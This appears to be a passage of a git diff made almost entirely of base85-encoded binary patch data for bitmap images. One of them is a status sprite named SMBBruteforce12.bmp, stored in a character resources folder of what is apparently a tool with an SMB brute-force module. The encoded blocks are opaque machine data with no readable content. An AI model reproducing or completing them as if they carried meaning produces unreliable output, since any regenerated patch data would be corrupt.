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 V|1nk=um3vl{}k)r^s$A-{{soS$*TYW literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce12.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce12.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1848bb06f7cc059f8c12d2714eab268f5edbac54 GIT binary patch literal 18462 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 YtPebSc>yeE$j3Qj^sMsP`O>BT1#fPDX#fBK literal 